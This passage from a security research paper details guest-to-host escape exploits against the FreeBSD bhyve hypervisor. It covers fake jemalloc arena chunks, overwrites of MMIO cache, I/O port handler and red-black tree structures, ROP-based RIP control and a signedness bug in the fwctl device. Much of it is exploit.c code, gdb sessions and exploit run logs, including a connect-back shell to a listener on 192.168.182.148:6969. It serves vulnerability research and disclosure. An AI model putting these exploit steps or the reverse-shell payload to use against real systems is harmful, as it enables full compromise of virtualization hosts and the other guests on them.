| |
| |
+------------------------+
It is possible to derive the address of mmio_hint[0] allocated in the bss
segment by leaking the 'power_button_handler' function address (section
3.5) in 'mevent' structure. But due to the lack of PIE and ASLR, the
hardcoded address of mmio_hint[0] was directly used in the proof of concept
exploit code.
----[ 3.7 - Faking arena_chunk_s structure for arbitrary free
During mevent_delete(), jemalloc frees a pointer which is not part of the
allocator managed memory as the mevent structure was allocated in guest
system memory by corrupting tcache structure (section 3.3). This will
result in a segmentation fault unless a fake arena_chunk_s structure is set
up before the free(). Freeing arbitrary pointer is already discussed in
research [6], however, we will take a second look for the exploitation of
this bug.
JEMALLOC_ALWAYS_INLINE void
arena_dalloc(tsdn_t *tsdn, void *ptr, tcache_t *tcache, bool slow_path)
{
arena_chunk_t *chunk;
size_t pageind, mapbits;
. . .
chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr);
if (likely(chunk != ptr)) {
pageind = ((uintptr_t)ptr - (uintptr_t)chunk) >> LG_PAGE;
mapbits = arena_mapbits_get(chunk, pageind);
assert(arena_mapbits_allocated_get(chunk, pageind) != 0);
if (likely((mapbits & CHUNK_MAP_LARGE) == 0)) {
/* Small allocation. */
if (likely(tcache != NULL)) {
szind_t binind =
arena_ptr_small_binind_get(ptr,
mapbits);
tcache_dalloc_small(tsdn_tsd(tsdn), tcache,
ptr,
binind, slow_path);
. . .
}
Request to free a pointer is handled by arena_dalloc() in arena.h of
jemalloc. The CHUNK_ADDR2BASE() macro gets the chunk address from the
pointer to be freed. The arena_chunk_s header has a dynamically sized
map_bits array, which holds the properties of pages within the chunk.
/* Arena chunk header. */
struct arena_chunk_s {
. . .
extent_node_t node;
/*
* Map of pages within chunk that keeps track of free/large/small.
* The
* first map_bias entries are omitted, since the chunk header does
* not
* need to be tracked in the map. This omission saves a header
* page
* for common chunk sizes (e.g. 4 MiB).
*/
arena_chunk_map_bits_t map_bits[1]; /* Dynamically sized. */
};
The page index 'pageind' in arena_dalloc() for the pointer to be freed is
calculated and used as index into 'map_bits' array of 'arena_chunk_s'
structrue. This is done using arena_mapbits_get() to get the 'mapbits'
value. The series of calls invoked during arena_mapbits_get() are
arena_mapbits_get() -> arena_mapbitsp_get_const() ->
arena_mapbitsp_get_mutable() -> arena_bitselm_get_mutable()
JEMALLOC_ALWAYS_INLINE arena_chunk_map_bits_t *
arena_bitselm_get_mutable(arena_chunk_t *chunk, size_t pageind)
{
. . .
return (&chunk->map_bits[pageind-map_bias]);
}
The 'map_bias' variable defines the number of pages used by chunk header,
which does not need tracking and can be omitted. The 'map_bias' value is
calculated in arena_boot() of arena.c file, whose value, in this case, is
13. arena_ptr_small_binind_get() gets the bin index 'binind' from the
encoded 'map_bits' value in 'arena_chunk_s' structure. Once this
information is fetched, tcache_dalloc_small() no longer uses arena chunk
header but relies on information from thread-specific data and thread cache
structures.
Hence the essential part of fake 'arena_chunk_s' structure is that,
'map_bits' should be set up in a way 'pageind - map_bias' calculation in
arena_bitselm_get_mutable() points to an entry in 'maps_bits' array, which
has an index value to a valid tcache bin. In this case, the index is set to
4, i.e. bin handling regions of size 64 bytes.
Since 'map_bias' is 13 pages, the usable pages could be placed after these
fake header pages. An elegant way to achieve this is to request a 2MB
(chunk size) contiguous memory from the guest which gets allocated as part
of the guest system. Allocating a contiguous 2MB virtual memory in guest
does not result in contiguous virtual memory allocation in the host. To
force the allocation to be contiguous in both guest and bhyve host process,
request memory using mmap() to allocate a 2MB huge page with MAP_HUGETLB
flag set.
---[ exploit.c ]---
. . .
shared_gva = mmap(0, 2 * MB, PROT_READ | PROT_WRITE,
MAP_HUGETLB | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
-1, 0);
. . .
shared_gpa = gva_to_gpa((uint64_t)shared_gva);
shared_hva = base_address + shared_gpa;
/* setting up fake jemalloc chunk */
arena_chunk = (struct arena_chunk_s *)shared_gva;
/* set bin index, also dont set CHUNK_MAP_LARGE */
arena_chunk->map_bits[4].bits = (4 << CHUNK_MAP_BININD_SHIFT);
/* calculate address such that pageind - map_bias point to tcache
* bin size 64 (i.e. index 4) */
fake_tbin_hva = shared_hva + ((4 + map_bias) << 12);
fake_tbin_gva = shared_gva + ((4 + map_bias) << 12);
. . .
+---------------------------+-------+-----------------------------------+
| Heap | | Guest Memory |
| | | +----------------------------+ |
| +---------+ +--------+ | Guard | | 2MB Huge Page | |
| |vga_softc| |tcache_s| | Page | | +-------------+ +--------+ | |
| | | | vCPU0 | | | | | Fake | | mevent | | |
| +---------+ +----+---+ | | | |arena_chunk_s| | | | |
| | | | | +-------------+ +----^---+ | |
| | | | +----------------------+-----+ |
+--------------------+------+-------+------------------------+----------+
| |
| |
+---------------------------------------+
Now arbitrary pointer can be freed to overwrite 'mmio_hint' using
mevent_delete() without a segmentation fault. The jemalloc version used in
FreeBSD 11.0 does not check if pageind > map_bias, unlike the one seen in
android [6]. Hence the fake chunk can also be set up in a single page like
below:
. . .
arena_chunk = (struct arena_chunk_s *)shared_gva;
arena_chunk->map_bits[-map_bias].bits = (4 <<
CHUNK_MAP_BININD_SHIFT);
fake_tbin_hva = shared_hva + sizeof(struct arena_chunk_s);
fake_tbin_gva = shared_gva + sizeof(struct arena_chunk_s);
. . .
Since the address to be freed is part of the same page as the chunk header,
the 'pageind' value would be 0. 'chunk->map_bits[pageind-map_bias]' in
arena_bitselm_get_mutable() would end up accessing 'extent_node_t node'
element of 'arena_chunk_s' structure since 'pageind-map_bias' is negative.
One has to just set up the bin index here for a successful free().
----[ 3.8 - Code execution using MMIO vCPU cache
The MMIO cache 'mmio_hint' of vCPU0 is overwritten during mevent_delete()
with a pointer to fake mmio_rb_range structure. The fake structure is set
up like below:
---[ exploit.c ]---
. . .
/* pci_emul_fallback_handler will return without error */
mmio_range_gva->mr_param.handler = (void
*)pci_emul_fallback_handler;
mmio_range_gva->mr_param.arg1 = (void *)0x4444444444444444; //
arg1 will be corrupted on mevent delete
mmio_range_gva->mr_param.arg2 = 0x4545454545454545; //
arg2 is fake RSP value for ROP. Fix this now or later
mmio_range_gva->mr_param.base = 0;
mmio_range_gva->mr_param.size = 0;
mmio_range_gva->mr_param.flags = 0;
mmio_range_gva->mr_end = 0xffffffffffffffff;
. . .
The 'mr_base' value is set to 0, and 'mr_end' is set to 0xffffffffffffffff
i.e. entire range of physical address. Hence any MMIO access in the guest
will end up using the fake mmio_rb_structure in emulate_mem():
int
emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie,
struct vm_guest_paging *paging)
{
. . .
if (mmio_hint[vcpu] &&
paddr >= mmio_hint[vcpu]->mr_base &&
paddr <= mmio_hint[vcpu]->mr_end) {
entry = mmio_hint[vcpu];
. . .
}
If the entire range of physical address is not used, any valid MMIO access
to an address outside the range of fake 'mr_base' and 'mr_end' before the
exploit triggers an MMIO access, will end up updating the 'mmio_hint'
cache. The 'mmio_hint' overwrite becomes useless!
As a side effect of unlink operation in mevent_delete(), 'mr_param.arg1' is
corrupted. It is necessary to make sure the corrupted value of
'mr_param.arg1' is not used for any MMIO access before the exploit itself
triggers. To ensure this, setup 'mr_param.handler' with a pointer to
function returning 0, i.e. success. Returning any other value would trigger
an error on emulation, leading to abort() in vm_loop() of bhyverun.c. The
ideal choice turned out to be pci_emul_fallback_handler() defined in
pci_emul.c as below:
static int
pci_emul_fallback_handler(struct vmctx *ctx, int vcpu, int dir, uint64_t
addr,
int size, uint64_t *val, void *arg1, long arg2)
{
/*
* Ignore writes; return 0xff's for reads. The mem read code
* will take care of truncating to the correct size.
*/
if (dir == MEM_F_READ) {
*val = 0xffffffffffffffff;
}
return (0);
}
After overwriting 'mmio_hint[0]', both 'mr_param.arg1' and
'mr_param.handler' needs to be fixed for continuing with the exploitation.
First overwrite 'mr_param.arg1' with address to 'pop rsp; ret' gadget, then
overwrite 'mr_param.handler' with address to 'pop register; ret' gadget.
This will make sure that the gadget is not triggered with a corrupted
'mr_param.arg1' value during a MMIO access. 'mr_param.arg2' should point to
the fake stack with ROP payload. When the fake handler is executed during
MMIO access, 'pop register; ret' pops the saved RIP and returns into the
'pop rsp' gadget. 'pop rsp' pops the fake stack pointer 'mr_param.arg2' and
executes the ROP payload.
---[ exploit.c ]---
. . .
/* fix the mmio handler */
mmio_range_gva->mr_param.handler = (void *)pop_rbp;
mmio_range_gva->mr_param.arg1 = (void *)pop_rsp;
mmio_range_gva->mr_param.arg2 = rop;
mmio = map_phy_address(0xD0000000, getpagesize());
mmio[0];
. . .
Running the VM escape exploit gives a connect back shell to the guest with
the following output:
root@linuxguest:~/setupA/vga_fakearena_exploit# ./exploit 192.168.182.148
6969
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Reading bhyve process memory...
exploit: [+] Leaked tcache avail pointers @ 0x801b71248
exploit: [+] Leaked tbin avail pointer = 0x823c10000
exploit: [+] Offset of tbin avail pointer = 0xfcf60
exploit: [+] Leaked vga_softc @ 0x801a74000
exploit: [+] Guest base address = 0x802000000
exploit: [+] Disabling ACPI shutdown to free mevent struct...
exploit: [+] Shared data structures mapped @ 0x811e00000
exploit: [+] Overwriting tbin avail pointers...
exploit: [+] Enabling ACPI shutdown to reallocate mevent struct...
exploit: [+] Leaked .text power_button_handler address = 0x430380
exploit: [+] Modifying mevent structure next and previous pointers...
exploit: [+] Disabling ACPI shutdown to overwrite mmio_hint using fake
mevent struct...
exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969
exploit: [+] Shared payload mapped @ 0x811c00000
exploit: [+] Triggering MMIO read to trigger payload
root@linuxguest:~/setupA/vga_fakearena_exploit#
renorobert@linuxguest:~$ nc -vvv -l 6969
Listening on [0.0.0.0] (family 0, port 6969)
Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2,
sport 35381)
uname -a
FreeBSD 11.0-RELEASE-p1 FreeBSD 11.0-RELEASE-p1 #0 r306420: Thu Sep 29
01:43:23 UTC 2016
root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
--[ 4 - Other exploitation strategies
This section details about other ways to exploit the bug by corrupting
structures used for I/O port emulation and PCI config space emulation.
----[ 4.1 - Allocating a region into another size class for free()
Section 3.7 details about setting up fake arena chunk headers to free an
arbitrary pointer during the call to mevent_delete(). However, there is an
alternate way to achieve this by allocating the mevent structure as part of
an existing thread cache allocation.
The address of 'vga_softc' structure can be calculated as described in
section 3.3 by leaking the tbins[4].avail pointer. The main 'mevent' thread
allocates 'vga_softc' structure as part of bins handling regions of size
0x800 bytes. By overwriting tbin[4].avail[-ncached] pointer of vCPU0 thread
with the address of region adjacent to vga_softc structure, we can force
mevent structure allocated by 'vCPU0' thread, to be allocated as part of
memory managed by 'mevent' thread.
Since the 'mevent' structure is allocated after 'vga_softc' structure, the
out of bound write can be used to overwrite the next and previous pointers
used for unlinking. During free(), the existing chunk headers of the bins
servicing regions of size 0x800 are used, allowing a successful free()
without crashing. In general, jemalloc allows freeing a pointer within an
allocated run [6].
----[ 4.2 - PMIO emulation and corrupting inout_handlers structures
Understanding port-mapped I/O emulation in bhyve provides powerful
primitives when exploiting a vulnerability. In this section, we will see
how this can be leveraged for accessing parts of heap memory which was
previously not accessible. VM exits caused by I/O access invokes the
vmexit_inout() handler in bhyverun.c. vmexit_inout() further calls
emulate_inout() in inout.c for emulation.
I/O port handlers and other device specific information are maintained in
an array of 'inout_handlers' structure defined in inout.c:
#define MAX_IOPORTS (1 << 16)
static struct {
const char *name;
int flags;
inout_func_t handler;
void *arg;
} inout_handlers[MAX_IOPORTS];
Virtual devices register callbacks for I/O port by calling register_inout()
in inout.c, which populates the 'inout_handlers' structure:
int
register_inout(struct inout_port *iop)
{
. . .
for (i = iop->port; i < iop->port + iop->size; i++) {
inout_handlers[i].name = iop->name;
inout_handlers[i].flags = iop->flags;
inout_handlers[i].handler = iop->handler;
inout_handlers[i].arg = iop->arg;
}
. . .
}
emulate_inout() function uses the information from 'inout_handlers' to
invoke the respective registered handler as below:
int
emulate_inout(struct vmctx *ctx, int vcpu, struct vm_exit *vmexit, int
strict)
{
. . .
bytes = vmexit->u.inout.bytes;
in = vmexit->u.inout.in;
port = vmexit->u.inout.port;
. . .
handler = inout_handlers[port].handler;
. . .
flags = inout_handlers[port].flags;
arg = inout_handlers[port].arg;
. . .
retval = handler(ctx, vcpu, in, port, bytes, &val, arg);
. . .
}
Overwriting 'arg' pointer in 'inout_handlers' structure could provide
interesting primitives. In this case, VGA emulation registers its I/O port
handler vga_port_handler() defined in vga.c for the port range of 0x3C0 to
0x3DF with 'vga_softc' structure as 'arg'.
void *
vga_init(int io_only)
{
. . .
sc = calloc(1, sizeof(struct vga_softc));
bzero(&iop, sizeof(struct inout_port));
iop.name = "VGA";
for (port = VGA_IOPORT_START; port <= VGA_IOPORT_END; port++) {
iop.port = port;
iop.size = 1;
iop.flags = IOPORT_F_INOUT;
iop.handler = vga_port_handler;
iop.arg = sc;
error = register_inout(&iop);
assert(error == 0);
}
. . .
}
Going back to the patch in section 2, it is noticed that dac_rd_index,
dac_rd_subindex, dac_wr_index, dac_wr_subindex are all signed integers.
Hence by overwriting 'arg' pointer with the address of fake 'vga_softc'
structure in heap and dac_rd_index/dac_wr_index set to negative values, the
guest can access memory before 'dac_palette' array. Specifically, the 'arg'
pointer of DAC_DATA_PORT (0x3c9) needs to be overwritten since it handles
read and write access to the 'dac_palette' array.
---[ exploit.c ]---
. . .
/* setup fake vga_softc structure */
memset(&vga_softc, 0, sizeof(struct vga_softc));
chunk_hi_offset = CHUNK_ADDR2OFFSET(vga_softc_bins[2] +
get_offset(struct vga_softc,
vga_dac.dac_palette));
/* set up values for reading the heap chunk */
vga_softc.vga_dac.dac_rd_subindex = -chunk_hi_offset;
vga_softc.vga_dac.dac_wr_subindex = -chunk_hi_offset;
. . .
Therefore instead of overwriting 'mmio_hint' using mevent_delete() unlink,
the exploit overwrites 'arg' pointer of I/O port handler to gain access to
other parts of heap which were earlier not reachable during the linear out
of bounds access. Hardcoded address of 'inout_handlers' structure is used
in the exploit code as done with 'mmio_hint' previously due to the lack of
PIE and ASLR. The offset to the start of the chunk from the fake
'vga_softc' structure (vga_dac.dac_palette) can be calculated using the
jemalloc CHUNK_ADDR2OFFSET() macro.
+----------------------++----------------------++----------------------+
|inout_handlers[0] ||inout_handlers[0x3C9] ||inout_handlers[0xFFFF]|
+----------------------++----+------^----+-----++----------------------+
Before | | |
Overwrite----------------+ | | After
| +------------------+ |Overwrite
+--------+-------+-----------------------+-------------------------+----+
| | | Heap | |....|
| +------+-------+-----------------------+------+ |....|
| | +----v----+ ++----------------+ +----v----+ | +--------+ |....|
| | | | || mevent | | | | | | |....|
| | | | || +-----------+ | | | | | | |....|
| | | Real | || | next +--+-> Fake | | |tcache_s| |....|
| | |vga_softc| || +-----------+ | |vga_softc| | | vCPU0 | |....|
| | | | || +-----------+ | | | | | | |....|
| | | | |+-+ previous | | | | | | | |....|
| | | | | +-----------+ | | | | | | |....|
| | +---------+ +---------------^-+ +---------+ | +----+---+ |....|
| | region[0] region[1] | region[2] | | |....|
| +-----------------------------+---------------+ | |....|
+-------------------------------+---------------------------+------+----+
| |
| |
| |
+---------------------------+
Corrupting 'inout_handlers' structure can also be leveraged for a full
process r/w, which is described later in section 7.2
----[ 4.3 - Leaking vmctx structure
Section 3.4 details the advantages of leaking the guest system base address
for exploitation. An elegant way to achieve this is by leaking the 'vmctx'
structure, which holds a pointer 'baseaddr' to the guest system memory.
'vmctx' structure is defined in libvmmapi/vmmapi.c and gets initialized in
vm_setup_memory() as seen in section 3.1
struct vmctx {
int fd;
uint32_t lowmem_limit;
int memflags;
size_t lowmem;
size_t highmem;
char *baseaddr;
char *name;
};
By reading the jemalloc chunk using DAC_DATA_PORT after setting up fake
'vga_softc' structure, the 'vmctx' structure along with 'baseaddr' pointer
can be leaked by the guest.
----[ 4.4 - Overwriting MMIO Red-Black tree node for RIP control
Overwriting the 'arg' pointer of DAC_DATA_PORT port with fake 'vga_softc'
structure opens up the opportunity to overwrite many other callbacks other
than 'mmio_hint' to gain RIP control. However, overwriting MMIO callbacks
is still a nice option since it provides ways to control stack for stack
pivot as detailed in sections 3.6 and 3.8. But instead of overwriting
'mmio_hint', guest can directly overwrite a specific red-black tree node
used for MMIO emulation.
The ideal choice turns out to be the node in 'mmio_rb_fallback' tree
handling access to memory that is not allocated to the system memory or PCI
devices. This part of memory is not frequently accessed, and overwriting it
does not affect other guest operations. To locate this red-black tree node,
search for the address of function pci_emul_fallback_handler() in the heap
which is registered during the call to init_pci() function defined in
pci_emul.c
int
init_pci(struct vmctx *ctx)
{
. . .
lowmem = vm_get_lowmem_size(ctx);
bzero(&mr, sizeof(struct mem_range));
mr.name = "PCI hole";
mr.flags = MEM_F_RW | MEM_F_IMMUTABLE;
mr.base = lowmem;
mr.size = (4ULL * 1024 * 1024 * 1024) - lowmem;
mr.handler = pci_emul_fallback_handler;
error = register_mem_fallback(&mr);
. . .
}
To gain RIP control like 'mmio_hint' technique, overwrite the handler, arg1
and arg2, then access a memory not allocated to system memory or PCI
devices. Below is the output of full working exploit:
root@linuxguest:~/setupA/vga_ioport_exploit# ./exploit 192.168.182.148 6969
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Reading bhyve process memory...
exploit: [+] Leaked tcache avail pointers @ 0x801b71248
exploit: [+] Leaked tbin avail pointer = 0x823c10000
exploit: [+] Offset of tbin avail pointer = 0xfcf60
exploit: [+] Leaked vga_softc @ 0x801a74000
exploit: [+] Disabling ACPI shutdown to free mevent struct...
exploit: [+] Overwriting tbin avail pointers...
exploit: [+] Enabling ACPI shutdown to reallocate mevent struct...
exploit: [+] Writing fake vga_softc and mevents into heap
exploit: [+] Trigerring unlink to overwrite IO handlers
exploit: [+] Reading the chunk data...
exploit: [+] Guest baseaddr from vmctx : 0x802000000
exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969
exploit: [+] Shared memory mapped @ 0x816000000
exploit: [+] Writing fake mem_range into red black tree
exploit: [+] Triggering MMIO read to trigger payload
root@linuxguest:~/setupA/vga_ioport_exploit#
renorobert@linuxguest:~$ nc -vvv -l 6969
Listening on [0.0.0.0] (family 0, port 6969)
Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2,
sport 14901)
uname -a
FreeBSD 11.0-RELEASE-p1 FreeBSD 11.0-RELEASE-p1 #0 r306420: Thu Sep 29
01:43:23 UTC 2016
root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64
----[ 4.5 - Using PCI BAR decoding for RIP control
All the techniques discussed so far depends on the SMI handler's ability to
allocate and free memory, i.e. unlinking mevent structure. This section
discusses another way to allocate/deallocate memory using PCI
config space emulation and further explore ways to exploit the bug without
running into jemalloc arbitrary free() issue.
Bhyve emulates access to config space address port 0xCF8 and config space
data port 0xCFC using pci_emul_cfgaddr() and pci_emul_cfgdata() defined in
pci_emul.c. pci_emul_cfgdata() further calls pci_cfgrw() for handling r/w
access to PCI configuration space. The interesting part of emulation for
the exploitation of this bug is the access to the command register.
static void
pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func,
int coff, int bytes, uint32_t *eax)
{
. . .
} else if (coff >= PCIR_COMMAND && coff < PCIR_REVID) {
pci_emul_cmdsts_write(pi, coff, *eax, bytes);
. . .
}
The PCI command register is at an offset 4 bytes into the config space
header. When the command register is accessed, pci_emul_cmdsts_write() is
invoked to handle the access.
static void
pci_emul_cmdsts_write(struct pci_devinst *pi, int coff, uint32_t new, int
bytes)
{
. . .
cmd = pci_get_cfgdata16(pi, PCIR_COMMAND); /* stash old value
*/
. . .
CFGWRITE(pi, coff, new, bytes); /* update config */
cmd2 = pci_get_cfgdata16(pi, PCIR_COMMAND); /* get updated
value */
changed = cmd ^ cmd2;
. . .
for (i = 0; i <= PCI_BARMAX; i++) {
switch (pi->pi_bar[i].type) {
. . .
case PCIBAR_MEM32:
case PCIBAR_MEM64:
/* MMIO address space decoding changed' */
if (changed & PCIM_CMD_MEMEN) {
if (memen(pi))
register_bar(pi, i);
else
unregister_bar(pi, i);
}
. . .
}
The bit 0 in the command register specifies if the device can respond to
I/O space access and bit 1 specifies if the device can respond to memory
space access. When the bits are unset, the respective BARs are
unregistered. When a BAR is registered using register_bar() or unregistered
using unregister_bar(), modify_bar_registration() in pci_emul.c is invoked.
Registering or unregistering a BAR mapping I/O space address, only involves
modifying 'inout_handlers' array. Interestingly, registering or
unregistering a BAR mapping memory space address involves allocation and
deallocation of heap memory. When a memory range is registered for MMIO
emulation, it gets added to the 'mmio_rb_root' red-black tree.
Let us consider the case of framebuffer device which allocates 2 memory
BARs in pci_fbuf_init() function defined in pci_fbuf.c
static int
pci_fbuf_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts)
{
. . .
pci_set_cfgdata16(pi, PCIR_DEVICE, 0x40FB);
pci_set_cfgdata16(pi, PCIR_VENDOR, 0xFB5D);
. . .
error = pci_emul_alloc_bar(pi, 0, PCIBAR_MEM32, DMEMSZ);
assert(error == 0);
error = pci_emul_alloc_bar(pi, 1, PCIBAR_MEM32, FB_SIZE);
. . .
}
The series of calls made during BAR allocation looks like
pci_emul_alloc_bar() -> pci_emul_alloc_pbar() -> register_bar() ->
modify_bar_registration() -> register_mem() -> register_mem_int()
static void
modify_bar_registration(struct pci_devinst *pi, int idx, int registration)
{
. . .
switch (pi->pi_bar[idx].type) {
. . .
case PCIBAR_MEM32:
case PCIBAR_MEM64:
bzero(&mr, sizeof(struct mem_range));
mr.name = pi->pi_name;
mr.base = pi->pi_bar[idx].addr;
mr.size = pi->pi_bar[idx].size;
if (registration) {
. . .
error = register_mem(&mr);
} else
error = unregister_mem(&mr);
. . .
}
register_mem_int() or unregister_mem() in mem.c handle the actual
allocation or deallocation. During registration, a 'mmio_rb_range'
structure is allocated and gets added to the red-black tree. During
unregister, the same node gets freed using RB_REMOVE().
static int
register_mem_int(struct mmio_rb_tree *rbt, struct mem_range *memp)
{
. . .
mrp = malloc(sizeof(struct mmio_rb_range));
if (mrp != NULL) {
. . .
if (mmio_rb_lookup(rbt, memp->base, &entry) != 0)
err = mmio_rb_add(rbt, mrp);
. . .
}
int
unregister_mem(struct mem_range *memp)
{
. . .
err = mmio_rb_lookup(&mmio_rb_root, memp->base, &entry);
if (err == 0) {
. . .
RB_REMOVE(mmio_rb_tree, &mmio_rb_root, entry);
. . .
}
Hence by disabling memory space decoding in the PCI command register, it is
possible to free 'mmio_rb_range' structure associated with a device. Also,
by re-enabling the memory space decoding, 'mmio_rb_range' structure can be
allocated. The same operations can also be triggered by writing to PCI BAR,
which calls update_bar_address() in pci_emul.c. However, unregister_bar()
and register_bar() are called together as part of the write operation to
PCI BAR, unlike independent events when enabling and disabling BAR decoding
in the command register.
The 'mmio_rb_range' structure is of size 104 bytes and serviced by bins of
size 112 bytes. When both BARs are unregistered by writing to the command
register, the pointers to the freed memory is pushed into 'avail' pointers
of thread cache structure. To allocate the 'mmio_rb_range' structure of
framebuffer device at an address controlled by guest, overwrite the cached
pointers in tbins[7].avail array with the address of guest memory as
detailed in section 3.3 and then re-enable memory space decoding. Below is
the state of the heap when framebuffer BARs are freed:
(gdb) info threads
Id Target Id Frame
* 1 LWP 100154 of process 1318 "mevent" 0x000000080121198a in _kevent ()
* from /lib/libc.so.7
2 LWP 100157 of process 1318 "blk-4:0-0" 0x0000000800ebf67c in
_umtx_op_err () from /lib/libthr.so.3
. . .
12 LWP 100167 of process 1318 "vcpu 0" 0x00000008012297da in ioctl ()
from /lib/libc.so.7
13 LWP 100168 of process 1318 "vcpu 1" 0x00000008012297da in ioctl ()
from /lib/libc.so.7
(gdb) thread 12
[Switching to thread 12 (LWP 100167 of process 1318)]
#0 0x00000008012297da in ioctl () from /lib/libc.so.7
(gdb) x/gx $fs_base-152
0x800691898: 0x0000000801b6f000
(gdb) print ((struct tcache_s *)0x0000000801b6f000)->tbins[7]
$4 = {tstats = {nrequests = 28}, low_water = 0, lg_fill_div = 1, ncached =
2, avail = 0x801b72508}
(gdb) x/2gx 0x801b72508-(2*8)
0x801b724f8: 0x0000000801a650e0 0x0000000801a65150
This technique entirely skips the jemalloc arbitrary free, since
mevent_delete() is not used. Guest can directly modify the handler, arg1
and arg2 elements of the 'mmio_rb_range' structure. Once modified, access a
memory mapped by BAR0 or BAR1 of the framebuffer device to gain RIP
control. Below is the output from the proof of concept code:
root@linuxguest:~/setupA/vga_pci_exploit# ./exploit
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Writing to PCI command register to free memory
exploit: [+] Reading bhyve process memory...
exploit: [+] Leaked tcache avail pointers @ 0x801b72508
exploit: [+] Offset of tbin avail pointer = 0xfe410
exploit: [+] Guest base address = 0x802000000
exploit: [+] Shared data structures mapped @ 0x812000000
exploit: [+] Overwriting tbin avail pointers...
exploit: [+] Writing to PCI command register to reallocate freed memory
exploit: [+] Triggering MMIO read for RIP control
root@:~ # gdb -q -p 16759
Attaching to process 16759
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
(gdb) c
Continuing.
Thread 12 "vcpu 0" received signal SIGBUS, Bus error.
[Switching to LWP 100269 of process 16759]
0x0000000000412189 in mem_read (ctx=0x801a15080, vcpu=0, gpa=3221241856,
rval=0x7fffdebf3d70, size=1, arg=0x812000020) at
/usr/src/usr.sbin/bhyve/mem.c:143
143 /usr/src/usr.sbin/bhyve/mem.c: No such file or directory.
(gdb) x/i $rip
=> 0x412189 <mem_read+121>: callq *%r10
(gdb) p/x $r10
$1 = 0x4242424242424242
--[ 5 - Notes on ROP payload and process continuation
The ROP payload used in the exploit performs the following operations:
- Clear the 'mmio_hint' by setting it to NULL. If not, the fake structure
'mmio_rb_range' structure will be used forever by the guest for any MMIO
access
- Save an address pointing to the stack and use this later for process
continuation
- Leak an address to 'syscall' gadget in libc by reading the GOT entry of
ioctl() call. Use this further for making any syscall
- Call mprotect() to make a guest-controlled memory RWX for executing
shellcode
- Jump to the connect back shellcode
- Set RAX to 0 before returning from the hijacked function call. If not,
this is treated as an error on emulation and abort() is called, i.e. no
process continuation!
- Restore the stack using the saved stack address for process continuation
When mem_read() is called, the 'rval' argument passed to it is a pointer to
a stack variable:
static int
mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void
*arg)
{
int error;
struct mem_range *mr = arg;
error = (*mr->handler)(ctx, vcpu, MEM_F_READ, gpa, size,
rval, mr->arg1, mr->arg2);
return (error);
}
As per the calling convention, 'rval' value is present in register R9 when
the ROP payload starts executing during the invocation of 'mr->handler'.
The below instruction sequence in mem_write() provides a nice way to save
the R9 register value by controlling the RBP value. This saved value is
used to return to the original call stack without crashing the bhyve
process.
0x0000000000412218 <+120>: mov %r9,-0x68(%rbp)
0x000000000041221c <+124>: mov %r10,%r9
0x000000000041221f <+127>: mov -0x68(%rbp),%r10
0x0000000000412223 <+131>: mov %r10,(%rsp)
0x0000000000412227 <+135>: mov %r11,0x8(%rsp)
0x000000000041222c <+140>: mov -0x60(%rbp),%r10
0x0000000000412230 <+144>: callq *%r10
Here concludes the first part of the paper on exploiting the VGA memory
corruption bug.
--[ 6 - Vulnerability in Firmware Configuration device
Firmware Configuration device (fwctl) allows the guest to retrieve specific
host provided configuration like vCPU count, during initialization. The
device is enabled by bhyve when the guest is configured to use a bootrom
such as UEFI firmware.
fwctl.c implements the device using a request/response messaging protocol
over I/O ports 0x510 and 0x511. The messaging protocol uses 5 states -
DORMANT, IDENT_WAIT, IDENT_SEND, REQ or RESP for its operation.
- DORMANT, the state of the device before initialization
- IDENT_WAIT, the state of the device when it is initialized by calling
fwctl_init()
- IDENT_SEND, device moves to this state when the guest writes WORD 0 to
I/O port 0x510
- REQ, the final stage of the initial handshake is to read byte by byte
from I/O port 0x511. The signature 'BHYV' is returned to the guest and
moves the device into REQ state after the 4 bytes read. When the device
is in REQ state, guest can request configuration information
- RESP, once the guest request is complete, the device moves to RESP state.
In this state, the device services the request and goes back to REQ state
for handling the next request
The interesting states here are REQ and RESP, where the device performs
operations using guest provided inputs. Guest requests are handled by
function fwctl_request() as below:
static int
fwctl_request(uint32_t value)
{
. . .
switch (rinfo.req_count) {
case 0:
. . .
rinfo.req_size = value;
. . .
case 1:
rinfo.req_type = value;
rinfo.req_count++;
break;
case 2:
rinfo.req_txid = value;
rinfo.req_count++;
ret = fwctl_request_start();
break;
default:
ret = fwctl_request_data(value);
. . .
}
Guest can set the value of 'rinfo.req_size' when the request count
'rinfo.req_count' is 0, and for each request from the guest,
'rinfo.req_count' is incremented. The messaging protocol defines a set of 5
operations OP_NULL, OP_ECHO, OP_GET, OP_GET_LEN and OP_SET out of which
only OP_GET and OP_GET_LEN are supported currently. The request type
(operation) 'rinfo.req_type' could be set to either of this. Once the
required information is received, fwctl_request_start() validates the
request:
static int
fwctl_request_start(void)
{
. . .
rinfo.req_op = &errop_info;
if (rinfo.req_type <= OP_MAX && ops[rinfo.req_type] != NULL)
rinfo.req_op = ops[rinfo.req_type];
err = (*rinfo.req_op->op_start)(rinfo.req_size);
if (err) {
errop_set(err);
rinfo.req_op = &errop_info;
}
. . .
}
'req_op->op_start' calls fget_start() to validate the 'rinfo.req_size'
provided by the guest as detailed below:
#define FGET_STRSZ 80
. . .
static int
fget_start(int len)
{
if (len > FGET_STRSZ)
return(E2BIG);
. . .
}
. . .
static struct req_info {
. . .
uint32_t req_size;
uint32_t req_type;
uint32_t req_txid;
. . .
} rinfo;
The 'req_size' element in 'req_info' structure is defined as an unsigned
integer, but fget_start() defines its argument 'len' as a signed integer.
Thus, a large unsigned integer such as 0xFFFFFFFF will bypass the
validation 'len > FGET_STRSZ' as a signed integer comparison is performed
[21][22].
